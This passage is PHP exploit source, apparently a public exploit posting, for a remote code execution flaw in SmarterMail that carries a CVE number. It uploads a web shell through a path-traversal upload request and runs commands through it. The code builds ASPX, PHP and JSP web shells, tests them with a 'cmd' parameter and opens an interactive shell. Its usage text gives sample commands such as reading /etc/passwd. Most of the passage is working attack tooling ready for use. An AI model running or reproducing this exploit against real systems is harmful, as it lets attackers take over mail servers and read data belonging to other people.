name=\"contextData\"\r\n";
$postData .= "Content-Type: application/json\r\n\r\n";
$postData .=
"{\"guid\":\"dag/{$traversal}{$targetDir}/{$filename}\"}\r\n";
$randomName = bin2hex(random_bytes(8));
$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data;
name=\"{$randomName}\"; filename=\"{$randomName}.txt\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= $payloadContents . "\r\n";
$postData .= "--{$boundary}--\r\n";
$url = $this->targetUrl . $this->targetUri . '/api/upload';
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postData,
CURLOPT_HTTPHEADER => [
"Content-Type: multipart/form-data; boundary={$boundary}",
"User-Agent: Mozilla/5.0",
"Accept: application/json, */*"
],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5
]);
$response = curl_exec($ch);
if ($response === false) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("cURL request failed: {$error}");
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode != 200) {
throw new Exception("File upload failed. HTTP Code:
{$httpCode}");
}
$json = json_decode($response, true);
if ($json === null) {
throw new Exception("Invalid JSON response from server");
}
if (!isset($json['key'])) {
throw new Exception("Server response missing 'key' field");
}
$key = $json['key'];
if (!preg_match('/([^\/]+)$/', $key, $matches)) {
throw new Exception("Could not extract filename from key:
{$key}");
}
$uploadedFilename = $matches[1];
echo "[+] Uploaded payload file: {$uploadedFilename}\n";
return $uploadedFilename;
}
private function testPayload($filename, $payloadType, $testCommand =
'whoami')
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
echo "[*] Testing payload at: {$url}\n";
$testUrl = $url;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
case self::PAYLOAD_PHP:
$testUrl .= '?cmd=' . base64_encode($testCommand);
break;
case self::PAYLOAD_JSP:
$testUrl .= '?cmd=' . urlencode($testCommand);
break;
}
$ch = curl_init($testUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false) {
echo "[+] Payload test successful. HTTP Code: {$httpCode}\n";
$preview = substr($response, 0, 1000);
if (strlen($response) > 1000) {
$preview .= "...\n[+] Output truncated, " .
(strlen($response) - 1000) . " more characters";
}
echo "[+] Response preview:\n" . $preview . "\n";
return $response;
}
return false;
}
public function executeCommand($filename, $payloadType, $command)
{
$port = ($this->webRootPort != 80 && $this->webRootPort != 443) ?
":{$this->webRootPort}" : '';
$url = $this->targetUrl . $port . $this->targetUri . '/' .
$filename;
switch ($payloadType) {
case self::PAYLOAD_ASPX:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_PHP:
$url .= '?cmd=' . base64_encode($command);
break;
case self::PAYLOAD_JSP:
$url .= '?cmd=' . urlencode($command);
break;
case self::PAYLOAD_CMD:
return $this->executeDirect($command);
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $this->curlTimeout,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response !== false && $httpCode == 200) {
return $response;
}
return "Command execution failed. HTTP Code: {$httpCode}";
}
private function executeDirect($command)
{
return "Direct command execution scheduled: {$command}";
}
public function exploit($command, $payloadType = null)
{
$type = $payloadType ?? $this->payloadType;
$payloadName = 'shell_' . bin2hex(random_bytes(8));
echo "[*] Using payload type: " . strtoupper($type) . "\n";
echo "[*] Target OS: " . ($this->isWindows ? 'Windows' :
'Unix/Linux') . "\n";
$payloadContent = $this->generatePayload($command, $type);
echo "[*] Uploading payload to {$this->targetDir}...\n";
$uploadedFilename = $this->uploadPayload($this->targetDir,
$payloadName, $payloadContent, $type);
echo "[*] Testing payload functionality...\n";
$testResult = $this->testPayload($uploadedFilename, $type);
if ($testResult !== false) {
echo "[+] Payload is active and responding!\n";
echo "[+] Shell URL: " . $this->targetUrl;
if ($this->webRootPort != 80 && $this->webRootPort != 443) {
echo ":{$this->webRootPort}";
}
echo $this->targetUri . '/' . $uploadedFilename . "\n";
echo "\n[+] Usage:\n";
switch ($type) {
case self::PAYLOAD_ASPX:
echo " URL?cmd=whoami\n";
echo " URL?cmd=powershell+-c+\"Get-Process\"\n";
break;
case self::PAYLOAD_PHP:
echo " URL?cmd=" . base64_encode('whoami') . "\n";
echo " URL?c=ls+-la\n";
break;
case self::PAYLOAD_JSP:
echo " URL?cmd=whoami\n";
echo " URL?cmd=ls+-la\n";
break;
}
return [
'filename' => $uploadedFilename,
'type' => $type,
'url' => $this->targetUrl . $this->targetUri . '/' .
$uploadedFilename
];
} else {
echo "[-] Payload uploaded but not responding as expected\n";
return false;
}
}
public function interactiveShell($uploadedFilename, $payloadType)
{
echo "\n[+] Entering interactive mode. Type 'exit' to quit.\n";
while (true) {
echo "shell> ";
$command = trim(fgets(STDIN));
if (empty($command)) {
continue;
}
if (strtolower($command) == 'exit' || strtolower($command) ==
'quit') {
break;
}
$result = $this->executeCommand($uploadedFilename,
$payloadType, $command);
echo $result . "\n";
}
echo "[+] Interactive session ended.\n";
}
}
if ($argv[0] == basename(__FILE__)) {
if ($argc < 3) {
echo "SmarterMail RCE Exploit by indoushka- CVE-2025-52691\n";
echo "=====================================================\n";
echo "Usage: php " . basename(__FILE__) . " <target_url> <command>
[options]\n\n";
echo "Payload Types:\n";
echo " --type=aspx ASP.NET web shell (Windows)\n";
echo " --type=php PHP web shell (Unix/Windows with PHP)\n";
echo " --type=jsp JSP web shell (Java/Tomcat)\n";
echo " --type=cmd Direct command execution (default)\n\n";
echo "Examples:\n";
echo " php exploit.php http://target.com \"whoami\" --type=php\n";
echo " php exploit.php http://target.com \"powershell -c
ipconfig\" --type=aspx\n";
echo " php exploit.php http://target.com \"cat /etc/passwd\"
--type=jsp\n";
exit(1);
}
$targetUrl = $argv[1];
$command = $argv[2];
$options = [
'target_url' => $targetUrl,
'target_uri' => '/smartermail',
'depth' => 15,
'web_root_port' => 80,
'payload_type' => SmarterMailExploit::PAYLOAD_CMD,
'target_dir' => null
];
for ($i = 3; $i < $argc; $i++) {
if (strpos($argv[$i], '--') === 0) {
$parts = explode('=', $argv[$i], 2);
$key = substr($parts[0], 2);
if (isset($parts[1])) {
if ($key == 'depth' || $key == 'port') {
$options[$key] = intval($parts[1]);
} elseif ($key == 'type') {
$validTypes = [
'aspx' => SmarterMailExploit::PAYLOAD_ASPX,
'php' => SmarterMailExploit::PAYLOAD_PHP,
'jsp' => SmarterMailExploit::PAYLOAD_JSP,
'cmd' => SmarterMailExploit::PAYLOAD_CMD
];
if (isset($validTypes[$parts[1]])) {
$options['payload_type'] = $validTypes[$parts[1]];
} else {
echo "[-] Invalid payload type. Valid: aspx, php,
jsp, cmd\n";
exit(1);
}
} else {
$options[$key] = $parts[1];
}
} elseif ($key == 'windows') {
$options['is_windows'] = true;
} elseif ($key == 'linux') {
$options['is_windows'] = false;
} elseif ($key == 'interactive') {
$options['interactive'] = true;
}
}
}
$exploit = new SmarterMailExploit($options);
try {
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
if ($checkResult === true) {
echo "[+] Target appears to be SmarterMail\n";
} elseif ($checkResult === null) {
echo "[?] Service accessible but SmarterMail not confirmed\n";
echo "[*] Continuing...\n";
} else {
echo "[-] Target not accessible\n";
exit(1);
}
echo "[*] Executing exploit...\n";
$result = $exploit->exploit($command);
if ($result !== false) {
echo "\n[+] Exploit successful!\n";
if (isset($options['interactive']) && $options['interactive']) {
$exploit->interactiveShell($result['filename'],
$result['type']);
}
} else {
echo "[-] Exploit failed\n";
exit(1);
}
} catch (Exception $e) {
echo "[-] Error: " . $e->getMessage() . "\n";
exit(1);
}
}
Greetings to
:=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln
(John Page aka hyp3rlinx)|
===================================================================================================